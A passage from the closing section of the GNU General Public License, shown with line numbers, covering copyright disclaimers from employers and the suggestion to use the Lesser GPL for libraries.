GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------